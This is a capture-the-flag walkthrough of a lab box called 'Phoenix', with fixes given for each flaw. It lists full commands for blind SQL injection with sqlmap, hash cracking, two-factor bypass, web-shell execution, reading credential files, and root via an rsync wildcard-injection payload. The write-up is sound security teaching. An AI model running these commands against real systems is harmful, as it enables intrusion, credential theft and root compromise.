← all walkthroughs

Phoenix

Linux· Hard· Web
owned
2026-10-14
time to own
23m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a WordPress site running an outdated Asgaros Forum plugin whose unauthenticated SQL injection exposed the administrator's password hash and the encrypted secrets behind the site's two-factor login. Cracking the hash and decrypting the TOTP secrets with the key stored alongside them defeated the second factor and gave admin access. A vulnerable file-download plugin was then used to upload a PHP web shell, giving code execution as the web server user.

Database credentials found in the WordPress config led to a second cracked password, and a subnet-based exception in the SSH login policy let me reach that second account without needing a one-time code. From there, a root-owned cron job that ran an rsync command against a wildcard in a world-writable backup folder was abused to run my own script as root, creating a SUID-root shell and completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets — <decrypted_totp_secret>, <internal_subnet_ip> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and CMS plugin fingerprinting (CVE-2021-24762)
Mapped the web surface and identified a vulnerable forum plugin
Only SSH, HTTP and HTTPS were exposed. Port 80 redirected to the HTTPS vhost phoenix.htb, which hosted a WordPress site. A plugin/user scan showed the Asgaros Forum plugin at a version with a known unauthenticated SQL injection, and returned two valid usernames.
Ports 22/80/443 open; phoenix.htb vhost; asgaros-forum 1.15.12 and WordPress usernames disclosed by the scan.
Exact commands 3
shell

Resolve the vhost before any web request.

$ echo "$TARGET phoenix.htb" | sudo tee -a /etc/hosts
shell

Full port sweep then service/version detection on the open ports.

$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80,443 $TARGET
shell

Enumerate WordPress plugins/themes/users.

$ wpscan --url https://phoenix.htb --disable-tls-checks --random-user-agent --enumerate at,ap,u
FixPatch or remove the vulnerable Asgaros Forum pluginCritical
WeaknessAn outdated version of the Asgaros Forum WordPress plugin contained an unauthenticated SQL injection that let anyone query the site database directly, including password hashes and two-factor secrets.
FixUpdate Asgaros Forum to the latest version (which fixes CVE-2021-24762) or remove it if unused. Keep all WordPress plugins and themes on a patch schedule, and use a web application firewall to catch injection attempts in the meantime.
2Initial AccessUnauthenticated time-based blind SQL injection (CWE-89, CVE-2021-24762)
Used an unauthenticated SQL injection to pull the admin's credential material
The forum's topic-subscription parameter was injectable without authentication. Because the injection only reveals data through timing (blind), I queried specific columns rather than dumping whole tables, retrieving the administrator's password hash and the plugin-stored values protecting the site's two-factor login.
Targeted queries against wp_users and wp_usermeta returned the admin password hash and associated 2FA plugin metadata.
Exact commands 2
shell

Targeted extraction only — never --dump against a blind injection, it is extremely slow.

$ sqlmap -u 'https://phoenix.htb/forum/?subscribe_topic=*' --dbms=mysql --technique=TB --level 3 --risk 3 --threads=10 --batch --keep-alive --hex --sql-query "select user_pass from wp_users where ID=1"
shell

Repeat for each 2FA-related meta_key the plugin stores; substitute the real column names found during recon.

$ sqlmap -u 'https://phoenix.htb/forum/?subscribe_topic=*' --dbms=mysql --technique=TB --level 3 --risk 3 --batch --keep-alive --hex --sql-query "select meta_value from wp_usermeta where meta_key='<2fa_plugin_secret_column>'"
3Initial AccessOffline password cracking + two-factor bypass via disclosed server-side secret (CWE-321/CWE-287)
Cracked the password hash and defeated the two-factor login as admin
The recovered password hash was cracked offline to a plaintext password. The two-factor plugin's secrets were encrypted, but the key material needed to decrypt them was stored in the same database table the injection already reached, so I recovered the TOTP secret, generated a valid one-time code, and logged in to wp-admin as the administrator.
Admin login succeeded after submitting the cracked password and a code generated from the decrypted TOTP secret.
Exact commands 2
shell

Crack the recovered phpass hash.

$ john --wordlist=rockyou.txt admin_hash.txt
shell

Generate a valid 6-digit TOTP code once the plugin's stored secret/key pair has been decrypted.

$ oathtool --totp -b <decrypted_totp_secret>
FixStop storing two-factor decryption keys alongside the secrets they protectCritical
WeaknessThe two-factor authentication plugin stored the encrypted TOTP secret and the key needed to decrypt it in the same database that the SQL injection could already read, so stealing the database defeated the second factor entirely.
FixKeep 2FA secret-encryption keys outside the application database (e.g., in a secrets manager or environment-level KMS), rotate any secrets after this exposure, and enforce database-layer defenses (parameterized queries, least-privilege DB accounts) so a web vulnerability can't reach authentication secrets at all.
4ExploitationAuthenticated arbitrary file upload (CVE-2021-24284)
Uploaded a web shell through a vulnerable admin plugin
A file-download plugin available to admin users had a known arbitrary file upload vulnerability. I used it to place a PHP web shell inside the wp-admin directory, giving remote command execution as the website's service account.
Commands issued via /wp-admin/shell.phtml returned id=wp_user, hostname phoenix.
Exact commands 1
shell

Confirm RCE as wp_user through the planted shell.

$ curl -sk -G --resolve phoenix.htb:443:$TARGET --data-urlencode "cmd=id; hostname" "https://phoenix.htb/wp-admin/shell.phtml"
FixPatch or remove the vulnerable file-download pluginCritical
WeaknessThe 'Download From Files' plugin let an authenticated user upload a file with a PHP-executable extension into a web-accessible directory, giving full remote code execution.
FixUpdate the plugin to a version that fixes CVE-2021-24284 or remove it, disable PHP execution in upload directories via web server configuration, and restrict uploads to a safe extension whitelist validated server-side.
5Lateral MovementCredential reuse + network-based authentication bypass (CWE-798, CWE-284)
Reused database credentials and an SSH 2FA bypass to become a second user
The WordPress configuration file on disk contained the database password, which let me dump the full user table and crack a second password belonging to the <withheld> account, mapped to the local 'editor' user. Direct SSH login normally required a one-time PAM code, but the server's access policy skipped that check for connections from a specific internal subnet, and the web server's own second network interface sat inside that subnet. I pivoted from the web shell and connected over SSH from that interface, authenticating with only the cracked password and no code.
wp-config.php exposed the WordPress DB password; SSH from the internal interface to 'editor' succeeded without an OTP prompt, returning uid=1002(editor).
Exact commands 3
shell

Read the WordPress DB credentials off disk.

$ curl -sk -G --resolve phoenix.htb:443:$TARGET --data-urlencode "cmd=cat /srv/www/wordpress/wp-config.php" "https://phoenix.htb/wp-admin/shell.phtml"
shell

Dump and crack the remaining WordPress account hashes offline.

$ mysql -u wordpress -p -e 'select user_login,user_pass from wp_users'
shell

From the compromised web shell/host — connect over the internal interface that the PAM config exempts from the OTP check, using the cracked editor password.

$ ssh editor@<internal_subnet_ip>
FixRemove the subnet-based exemption from SSH two-factor authenticationHigh
WeaknessThe server's PAM/access configuration skipped the one-time-code requirement for SSH logins originating from a specific internal subnet, and a compromised host on that subnet (the web server itself) could reach it, letting a cracked password alone grant access.
FixRemove network-based exceptions to MFA; require the same two-factor check for every source address, and if a trusted-network exception is operationally required, scope it tightly, log it, and monitor it rather than exempting a whole /24.
6ObjectiveFlag capture
Captured the user flag
With a stable shell as 'editor', I confirmed identity and read the user flag from the home directory.
id/hostname confirmed editor@phoenix; /home/editor/user.txt read.
Exact commands 1
shell

Prove context before reading the flag; real -> <user.txt>

$ id; hostname; cat /home/editor/user.txt
7Privilege EscalationWildcard argument injection in a root cron job (GTFOBins-style rsync wildcard abuse, CWE-88)
Abused a writable backup folder and a wildcard rsync cron job to run code as root
A root-scheduled job ran a backup-and-sync routine that invoked rsync with a wildcard over files in a backup directory the 'editor' account could write to. Rsync expands wildcards itself, so a specially named file in that directory (one starting with '-e') was interpreted as an rsync command-line option rather than a filename, letting me make rsync launch an arbitrary shell script. The next time the root cron job ran, it executed my script as root, which created a SUID-root copy of bash.
A root-scheduled script (recovered from an obfuscated binary and observed with pspy) ran rsync --ignore-existing -t *.* against the backup directory; a file named '-e bash shell.sh' triggered rsync to execute shell.sh as root, producing -rwsr-sr-x root root /tmp/rb.
Exact commands 4
shell

Run in the background to observe root-owned cron processes and their arguments.

$ ./pspy64 &
shell

Stage the payload script in the writable backup directory.

$ cd /backups && printf '#!/bin/bash\ncp /bin/bash /tmp/rb\nchmod 6755 /tmp/rb\n' > shell.sh && chmod 777 shell.sh
shell

Name a file so rsync's wildcard expansion treats it as the '-e bash shell.sh' remote-shell option, launching shell.sh when the root job next runs.

$ touch -- '-e bash shell.sh'
shell

Once the cron job fires (within ~3 minutes), use the SUID-root bash to get euid=0 and read the flag; real -> <root.txt>

$ ls -la /tmp/rb && /tmp/rb -p -c 'id; hostname; cat /root/root.txt'
FixRemove the writable backup directory from root's wildcard rsync jobCritical
WeaknessA root-scheduled cron job ran rsync with an unquoted wildcard over a directory writable by a low-privileged user, so a maliciously named file could be interpreted as an rsync option and used to run an arbitrary command as root.
FixMake the backup directory writable only by root (or the backup service account), never pass user-writable paths through a wildcard to rsync, and when wildcards are unavoidable use rsync's --no-implied-dirs with explicit -- to stop option-injection, or script file selection with find -print0 instead of shell globbing.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp